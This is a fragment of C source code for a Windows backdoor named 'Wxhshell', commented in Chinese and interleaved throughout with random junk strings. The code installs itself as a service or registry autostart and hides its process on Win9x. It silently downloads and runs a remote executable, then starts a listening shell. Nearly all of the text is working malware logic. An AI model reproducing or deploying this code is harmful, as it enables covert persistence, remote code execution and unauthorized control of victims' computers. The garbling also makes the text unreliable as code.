6p if(strstr(procName,"services")) return 1; // 以服务启动 dK: " e`r;`a& return 0; // 注册表启动 {P&^Erx } o2 wY#mL1dF // 主模块 Bv8C_-lV/ int StartWxhshell(LPSTR lpCmdLine) =f!M=D { ]aNnY?qW5 SOCKET wsl; <Z'hZ BOOL val=TRUE; lG9ARRy(= int port=0; b U NYTF{ struct sockaddr_in door; Q8?D}h cqx1NWlY if(wscfg.ws_autoins) Install(); }=a4uCE `Ny8u")= port=atoi(lpCmdLine); 1 1CJT s? k[_|)! if(port<=0) port=wscfg.ws_port; "44?n <1 &J$5+"/;X WSADATA data; $x;h[,y
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; $sZHApJV+ *a!!(cZZ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; dn_OfK setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 8n5nHne door.sin_family = AF_INET; P-[K*/bPw door.sin_addr.s_addr = inet_addr("127.0.0.1"); "\;wMR{ door.sin_port = htons(port); Bq@wS\W>b} _eV n#!| if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 'qAfei'] closesocket(wsl); r%d11[z return 1; a}fClI-u } Yj6p19 OPW"ABJ if(listen(wsl,2) == INVALID_SOCKET) { ,<b|@1\k closesocket(wsl); _~Vz+nT return 1; ~uadivli } S7{.liHf Wxhshell(wsl); % VpBB WSACleanup(); nM-SDVFM DWQQ615i return 0; D^55:\4( W"(`n4hi3 } pm~;:#z7
I^(#\vRW // 以NT服务方式启动 Aq%^>YAp VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) @T1+b"TC { Z&jb,eh2 DWORD status = 0; '-33iG DWORD specificError = 0xfffffff; ?i2Wst ^alZ\!B8 serviceStatus.dwServiceType = SERVICE_WIN32; 2Fg t)`{! serviceStatus.dwCurrentState = SERVICE_START_PENDING; +<9
eN serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; K#hY bDm serviceStatus.dwWin32ExitCode = 0; '<< ~wt serviceStatus.dwServiceSpecificExitCode = 0; Uy5 !H1u serviceStatus.dwCheckPoint = 0; %@n8
?l4 serviceStatus.dwWaitHint = 0; 1D p@n _G #"B{7 hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ;+34g6 if (hServiceStatusHandle==0) return; ^z}lGu ~49N status = GetLastError(); /I'u/{KB if (status!=NO_ERROR) `(/saq* { e>9Z:vY serviceStatus.dwCurrentState = SERVICE_STOPPED; Yc`j serviceStatus.dwCheckPoint = 0; )kKmgtj serviceStatus.dwWaitHint = 0; U!?gdX serviceStatus.dwWin32ExitCode = status; 5}bZs` C serviceStatus.dwServiceSpecificExitCode = specificError; D%UZ'bHN* SetServiceStatus(hServiceStatusHandle, &serviceStatus); q|i%)V`)- return; $?J+dB } igBrmaY' o 7W Kh= serviceStatus.dwCurrentState = SERVICE_RUNNING; Y%:0|utQC serviceStatus.dwCheckPoint = 0; 5b1uD>,;y serviceStatus.dwWaitHint = 0; rjHIQC C if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); uk[< 6oxz } nIQ&gbfO 2?- 07 g // 处理NT服务事件,比如:启动、停止 L3GC[$S VOID WINAPI NTServiceHandler(DWORD fdwControl) <o!&Kk 9 { _b_?9b-)D switch(fdwControl) ``|RO[+2 { dMs||&|& case SERVICE_CONTROL_STOP: {{*]bGko serviceStatus.dwWin32ExitCode = 0; AXP`,H serviceStatus.dwCurrentState = SERVICE_STOPPED; 7X{bB serviceStatus.dwCheckPoint = 0; bLEATT[ serviceStatus.dwWaitHint = 0; _gm?FxV: { n<<=sj$\! SetServiceStatus(hServiceStatusHandle, &serviceStatus); $@_t5?n``F } <2O7R}j7v return; KBw9( case SERVICE_CONTROL_PAUSE: r<X 4ER serviceStatus.dwCurrentState = SERVICE_PAUSED; -9>LvLU break; dG-or case SERVICE_CONTROL_CONTINUE: XQ3* serviceStatus.dwCurrentState = SERVICE_RUNNING; 4Kn9*V break; y(nsyA case SERVICE_CONTROL_INTERROGATE: VP%i1|XZJ break; %7 v@n+Q }; kg:
uGP9 SetServiceStatus(hServiceStatusHandle, &serviceStatus); Fu4EEi } Z@,PZ WVWS7N\ // 标准应用程序主函数 +an^e' int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ^{*f3m/ { 2Za,4' w;c#drY7S // 获取操作系统版本 E
{KS a OsIsNt=GetOsVer(); z_Wm
HB GetModuleFileName(NULL,ExeFile,MAX_PATH); Yn4)Zhkk p2x1xv // 从命令行安装 $xA J9_2P if(strpbrk(lpCmdLine,"iI")) Install(); ~llMrl7 ~|'y+h89 // 下载执行文件 w3<"g&n| if(wscfg.ws_downexe) { ~mK-8U4>K, if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) kOAY@a WinExec(wscfg.ws_filenam,SW_HIDE); UXwB$@8 } B)rr7B PW*;S p if(!OsIsNt) { VX;zZ`BJ // 如果时win9x,隐藏进程并且设置为注册表启动 )
\-96 xd HideProc(); cophAP StartWxhshell(lpCmdLine); 7a:*Y"f,~ } 4@v1jJj else z|3`0eWIG if(StartFromService())
!@pV)RUv7 // 以服务方式启动 4`8IFK StartServiceCtrlDispatcher(DispatchTable); <AMb!?Obh else E7gHi$ // 普通方式启动 -@SOo"P StartWxhshell(lpCmdLine); <TR/ ` my ; return 0; LG=X)w)W4S }
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